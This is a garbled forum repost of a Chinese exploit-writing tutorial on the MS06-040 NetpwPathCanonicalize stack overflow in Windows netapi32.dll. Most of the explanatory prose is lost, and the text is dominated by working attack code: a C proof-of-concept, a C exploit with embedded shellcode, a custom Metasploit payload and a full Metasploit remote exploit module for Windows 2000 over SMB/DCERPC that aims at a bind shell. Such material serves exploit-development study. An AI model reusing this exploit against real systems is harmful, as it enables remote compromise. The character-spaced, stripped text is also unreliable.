[12266] 2018-01-21_远程RPC溢出EXP编写实战之MS06-040

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2018-01-21_远程RPC溢出EXP编写实战之MS06-040 R P C E X P M S 0 6 - 0 4 0 w o o y 0 u n g   F r e e B u f   2 0 1 8 - 0 1 - 2 1 * w o o y 0 u n g F r e e B u f 0 x 0 1   M S 0 6 - 0 4 0 广 广 M i c r o s o f t 1 7 W i n d o w s s o c k e t n e t a p i 3 2 . d l l N e t p w P a t h C a n o n i c a l i z e ( ) R P C m e t a s p l o i t 0 x 0 2   1 .   W i n d o w s   X P   P r o f e s s i o n a l   s p 3 ( V C 6 P O C ) 2 .   W i n d o w s   2 0 0 0   P r o f e s s i o n a l   s p 0 ( ) 3 .   K a l i   L i n u x   x 6 4 ( m e t a s p l o i t   f r a m e w o r k   l a t e s t ) 4 .   O l l y d b g   1 . 1 0 5 .   :   V C + +   6 . 0 6 .   :   I D A   6 . 8 7 .   :   n e t a p i 3 2 . d l l W i n d o w s   2 0 0 0 C : W I N N T s y s t e m 3 2 d l l e x p l o i t d l l : h t t p s : / / p a n . b a i d u . c o m / s / 1 q Z Q 1 v n Y   : 5 s t q 0 x 0 3   V C + +   6 . 0 P O C ,  
,   O D ,   E I P a a a a O D ,   c a l l   n e t a p i 3 2 . N e t p w P a t h C a n o n i c a l i z e ,   N e t p w P a t h C a n o n i c a l i z e ,   M S V C R T . w c s c a t ,   r e t n ,   I D A c o p y b b b b b b b b b b b 0 x 0 0 5 C a a a a a ,   0 x 0 4   e x p l o i t p r e f i x p a t h p r e f i x p a t h e x p l o i t # i n c l u d e " s t d a f x . h " # i n c l u d e   < w i n d o w s . h > t y p e d e f   v o i d   ( * M Y P R O C ) ( L P T S T R ,   c h a r   * ,   i n t ,   c h a r   * ,   l o n g   * ,   b o o l ) ; i n t   m a i n ( ) {                 c h a r   p a t h [ 0 x 3 2 0 ] ;         c h a r   c a n _ p a t h [ 0 x 4 4 0 ] ;         i n t   m a x b u f = 0 x 4 4 0 ;         c h a r   p r e f i x [ 0 x 1 0 0 ] ;         l o n g   p a t h t y p e = 4 4 ;         H I N S T A N C E   L i b H a n d l e ;         M Y P R O C   T r i g g e r ;         c h a r   d l l [   ]   =   " . / n e t a p i 3 2 . d l l " ;         c h a r   V u l F u n c [   ]   =   " N e t p w P a t h C a n o n i c a l i z e " ;         L i b H a n d l e   =   L o a d L i b r a r y ( d l l ) ;         T r i g g e r   =   ( M Y P R O C )   G e t P r o c A d d r e s s ( L i b H a n d l e ,   V u l F u n c ) ;         m e m s e t ( p a t h , 0 , s i z e o f ( p a t h ) ) ;         m e m s e t ( p a t h , ' a ' , s i z e o f ( p a t h ) - 2 ) ;         m e m s e t ( p r e f i x , 0 , s i z e o f ( p r e f i x ) ) ;         m e m s e t ( p r e f i x , ' b ' , s i z e o f ( p r e f i x ) - 2 ) ;         ( T r i g g e r ) ( p a t h , c a n _ p a t h , m a x b u f , p r e f i x   , & p a t h t y p e , 0 ) ;         F r e e L i b r a r y ( L i b H a n d l e ) ;         r e t u r n   0 ; }
r e t n ,   e c x s h e l l c o d e b b b b b b . ,   c a l l / j m p   e c x p w n ~ 0 x 0 5   e x p l o i t N e t p w P a t h C a n o n i c a l i z e ( ) m e t a s p l o i t e x p / /   m s 0 6 _ 0 4 0 _ e x p . c p p   :   D e f i n e s   t h e   e n t r y   p o i n t   f o r   t h e   c o n s o l e   a p p l i c a t i o n . / / # i n c l u d e   " s t d a f x . h " # i n c l u d e   < w i n d o w s . h > t y p e d e f   v o i d   ( * M Y P R O C ) ( L P T S T R ,   c h a r   * ,   i n t ,   c h a r   * ,   l o n g   * ,   b o o l ) ; c h a r   s h e l l c o d e [ ] = " x 3 1 x d 2 x b 2 x 3 0 x 6 4 x 8 b x 1 2 x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 c x 8 b x 4 2 x 0 8 " " x 8 b x 7 2 x 2 0 x 8 b x 1 2 x 8 0 x 7 e x 0 c x 3 3 x 7 5 x f 2 x 8 9 x c 7 x 0 3 x 7 8 x 3 c " " x 8 b x 5 7 x 7 8 x 0 1 x c 2 x 8 b x 7 a x 2 0 x 0 1 x c 7 x 3 1 x e d x 8 b x 3 4 x a f x 0 1 " " x c 6 x 4 5 x 8 1 x 3 e x 4 6 x 6 1 x 7 4 x 6 1 x 7 5 x f 2 x 8 1 x 7 e x 0 8 x 4 5 x 7 8 x 6 9 " " x 7 4 x 7 5 x e 9 x 8 b x 7 a x 2 4 x 0 1 x c 7 x 6 6 x 8 b x 2 c x 6 f x 8 b x 7 a x 1 c x 0 1 " " x c 7 x 8 b x 7 c x a f x f c x 0 1 x c 7 x 6 8 x 6 7 x 2 0 x 2 0 x 0 1 x 6 8 x 7 9 x 3 0 x 7 5 " " x 6 e x 6 8 x 2 0 x 7 7 x 6 f x 6 f x 8 9 x e 1 x f e x 4 9 x 0 b x 3 1 x c 0 x 5 1 x 5 0 x f f " " x d 7 " ;         / /   i n t   m a i n ( ) {                 c h a r   p a t h [ 0 x 3 2 0 ] ;         c h a r   c a n _ p a t h [ 0 x 4 4 0 ] ;         i n t   m a x b u f = 0 x 4 4 0 ;         c h a r   p r e f i x [ 0 x 1 0 0 ] ;         l o n g   p a t h t y p e = 4 4 ;         H I N S T A N C E   L i b H a n d l e ;         M Y P R O C   T r i g g e r ;         c h a r   d l l [ ]   =   " . / n e t a p i 3 2 . d l l " ;         c h a r   V u l F u n c [ ]   =   " N e t p w P a t h C a n o n i c a l i z e " ;         L i b H a n d l e   =   L o a d L i b r a r y ( d l l ) ;         T r i g g e r   =   ( M Y P R O C )   G e t P r o c A d d r e s s ( L i b H a n d l e ,   V u l F u n c ) ;         m e m s e t ( p a t h , 0 , s i z e o f ( p a t h ) ) ;         m e m s e t ( p a t h , 0 x 9 0 , s i z e o f ( p a t h ) - 2 ) ;         m e m s e t ( p r e f i x , 0 , s i z e o f ( p r e f i x ) ) ;         m e m s e t ( p r e f i x , ' a ' , s i z e o f ( p r e f i x ) - 2 ) ;         m e m c p y ( p r e f i x , s h e l l c o d e , 1 1 3 ) ;         p a t h [ 0 x 3 1 8 ] = 0 x F 9 ;                 / /   c a l l   e c x         p a t h [ 0 x 3 1 9 ] = 0 x 5 2 ;         p a t h [ 0 x 3 1 A ] = 0 x 1 8 ;         p a t h [ 0 x 3 1 B ] = 0 x 7 5 ;         ( T r i g g e r ) ( p a t h , c a n _ p a t h , m a x b u f , p r e f i x , & p a t h t y p e , 0 ) ;         F r e e L i b r a r y ( L i b H a n d l e ) ;         r e t u r n   0 ; }
p a y l o a d w a r n i n g . r b # # #   A u t h o r :   w o o y 0 u n g #   D a t e :         2 0 1 8 / 0 1 / 1 5 # # r e q u i r e   ' m s f / c o r e ' m o d u l e   M e t a s p l o i t 3     C a c h e d S i z e   =   2 0 0     i n c l u d e   M s f : : P a y l o a d : : S i n g l e     d e f   i n i t i a l i z e ( i n f o   =   { } )         s u p e r ( m e r g e _ i n f o ( i n f o ,             ' N a m e '                     = >   ' W i n d o w s   W a r n i n g   B o x ' ,             ' D e s c r i p t i o n '       = >   ' O n l y   f o r   V e r s i o n   u n d e r   W i n d o w s   7 ' ,             ' A u t h o r '                 = >   [   ' w o o y 0 u n g '   ] ,             ' P l a t f o r m '             = >   ' w i n ' ,             ' A r c h '                     = >   A R C H _ X 8 6 ,             ' P a y l o a d '               = >                 {                     ' P a y l o a d '   = >                               " x 3 1 x d 2 x b 2 x 3 0 x 6 4 x 8 b x 1 2 x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 c x 8 b x 4 2 x 0 8 " +                 " x 8 b x 7 2 x 2 0 x 8 b x 1 2 x 8 0 x 7 e x 0 c x 3 3 x 7 5 x f 2 x 8 9 x c 7 x 0 3 x 7 8 x 3 c " +                 " x 8 b x 5 7 x 7 8 x 0 1 x c 2 x 8 b x 7 a x 2 0 x 0 1 x c 7 x 3 1 x e d x 8 b x 3 4 x a f x 0 1 " +                 " x c 6 x 4 5 x 8 1 x 3 e x 4 6 x 6 1 x 7 4 x 6 1 x 7 5 x f 2 x 8 1 x 7 e x 0 8 x 4 5 x 7 8 x 6 9 " +                 " x 7 4 x 7 5 x e 9 x 8 b x 7 a x 2 4 x 0 1 x c 7 x 6 6 x 8 b x 2 c x 6 f x 8 b x 7 a x 1 c x 0 1 " +                 " x c 7 x 8 b x 7 c x a f x f c x 0 1 x c 7 x 6 8 x 6 7 x 2 0 x 2 0 x 0 1 x 6 8 x 7 9 x 3 0 x 7 5 " +                 " x 6 e x 6 8 x 2 0 x 7 7 x 6 f x 6 f x 8 9 x e 1 x f e x 4 9 x 0 b x 3 1 x c 0 x 5 1 x 5 0 x f f " +                 " x d 7 "                 }             ) )     e n d e n d
m s 0 6 _ 0 4 0 . r b s h e l l c o d e ( p a t h R O P p r e f i x p a y l o a d ) W i n d o w s   2 0 0 0 e x p p a y l o a d i p p w n ~ b i n d _ s h e l l p a y l o a d s h e l l ~ # # #   A u t h o r :   w o o y 0 u n g #   D a t e :         2 0 1 8 / 0 1 / 1 5 # # r e q u i r e   ' m s f / c o r e '     c l a s s   M e t a s p l o i t 3   <   M s f : : E x p l o i t : : R e m o t e             R a n k   =   G o o d R a n k i n g         i n c l u d e   E x p l o i t : : R e m o t e : : D C E R P C         i n c l u d e   E x p l o i t : : R e m o t e : : S M B : : C l i e n t         d e f   i n i t i a l i z e ( i n f o   =   { } )                 s u p e r ( u p d a t e _ i n f o ( i n f o ,                         ' N a m e '                       = >           " M S 0 6 - 0 4 0   R P C   E x p l o i t " ,                         ' D e s c r i p t i o n '         = >           ' O n l y   f o r   W i n d o w s   2 0 0 0   P r o f e s s i o n a l   s p 0 ' ,                                             ' A u t h o r '                   = >           [   ' w o o y 0 u n g '   ] ,                         ' P l a t f o r m '               = >         " w i n " ,                         ' D e f a u l t O p t i o n s '   = >         { ' E X I T F U N C '   = >   ' t h r e a d ' , } ,                         ' D e f a u l t T a r g e t '     = >           0 ,                         ' T a r g e t s '                 = >         [ [ ' W i n d o w s   2 0 0 0   P r o f e s s i o n a l   s p 0 ' ,     { ' R e t '   = >   [ 0 x 3 1 8   ,   0 x 7 4 F B 6 2 C 3 ]   } ] ] ) )                 r e g i s t e r _ o p t i o n s ( [ O p t S t r i n g . n e w ( ' S M B P I P E ' ,   [   t r u e ,     " T h e   p i p e   n a m e   t o   u s e   ( B R O W S E R ,   S R V S V C ) " ,   ' B R O W S E R ' ] ) , ] ,   s e l f . c l a s s )           e n d         d e f   e x p l o i t                 c o n n e c t ( )                 s m b _ l o g i n ( )                 h a n d l e   =   d c e r p c _ h a n d l e ( ' 4 b 3 2 4 f c 8 - 1 6 7 0 - 0 1 d 3 - 1 2 7 8 - 5 a 4 7 b f 6 e e 1 8 8 ' , ' 3 . 0 ' , ' n c a c n _ n p ' , [ " # { d a t a s t o r e [ ' S M B P I P E ' ] } " ] )                 d c e r p c _ b i n d ( h a n d l e )                 p r e f i x   =   p a y l o a d . e n c o d e d   +   m a k e _ n o p s ( 0 x 1 0 0   -   p a y l o a d . e n c o d e d . l e n g t h   -   2 )   +   " x 0 0 x 0 0 "                 p a t h   =   m a k e _ n o p s ( 0 x 3 1 8 )   +   [ t a r g e t [ ' R e t ' ] [ 1 ] ] . p a c k ( ' V ' )   +                   " x 0 4 x D 0 x F D x 7 F "   *   5   +                 #   ( 5 )                 " x 6 6 x 8 1 x E C x 3 0 x 0 4 "   +                 #   s u b   e s p , 4 3 0   ( 0 x 1 0 0   +   0 x 3 1 8   +   4   *   6   =   0 x 4 3 0   e s p p a y l o a d )                 " x 8 B x C 4 "   +                                   #   m o v   e a x ,   e s p                 " x F F x E 4 "   +                                 #   j m p   e s p                 " x 0 0 x 0 0 "                                 #   U n i c o d e                 s t u b   =         N D R . l o n g ( r a n d ( 0 x f f f f f f f f ) )   +                         N D R . U n i c o d e C o n f o r m a n t V a r y i n g S t r i n g ( ' ' )   +                         N D R . U n i c o d e C o n f o r m a n t V a r y i n g S t r i n g P r e B u i l t ( p a t h )   +                         N D R . l o n g ( r a n d ( 2 5 0 ) + 1 )   +                         N D R . U n i c o d e C o n f o r m a n t V a r y i n g S t r i n g P r e B u i l t ( p r e f i x )   +                         N D R . l o n g ( r a n d ( 2 5 0 ) + 1 )   +                         N D R . l o n g ( 0 )                         b e g i n                             d c e r p c . c a l l ( 0 x 1 f ,   s t u b ,   f a l s e )                         r e s c u e   R e x : : P r o t o : : D C E R P C : : E x c e p t i o n s : : N o R e s p o n s e                         r e s c u e   = >   e                             i f   e . t o _ s   ! ~   / S T A T U S _ P I P E _ D I S C O N N E C T E D /                                     r a i s e   e                             e n d                                 e n d                       h a n d l e r                               d i s c o n n e c t             e n d     e n d
0 x 0 6   m e t a s p l o i t e x p l o i t s M S 0 6 - 0 4 0 X P S e r v e r   2 0 0 3 m e t a s p l o i t e x p * w o o y 0 u n g F r e e B u f
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则